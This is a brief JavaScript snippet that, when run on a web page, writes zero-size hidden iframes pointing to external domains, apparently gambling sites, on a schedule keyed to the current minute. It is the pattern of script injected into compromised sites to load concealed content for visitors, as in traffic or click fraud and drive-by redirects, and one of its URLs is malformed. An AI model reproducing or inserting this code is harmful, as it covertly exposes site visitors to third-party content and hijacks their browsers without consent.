var HostList = new Array(); HostList[0] = new Array("http://www.500win.net/",15); 
HostList[1] = new Array("http:www.yu288.com/",15); HostList[2] = new Array("-",5); 
HostList[3]= new Array("-",10); HostList[4]= new Array("-",10); HostList[5]= new 
Array("-",10); HostList[6]= new Array("http://www.bo268.com",100); HostList[7]= 
new Array("-",20); var NowTime = new Date(); var dm = NowTime.getMinutes(); for(var 
i =0; i< HostList.length;i ++) { if((dm % HostList[i][1]) == 0) { document.write(" 
<iframe src='"+ HostList[i][0] +"' height='0' width='0'></iframe>");
	}
}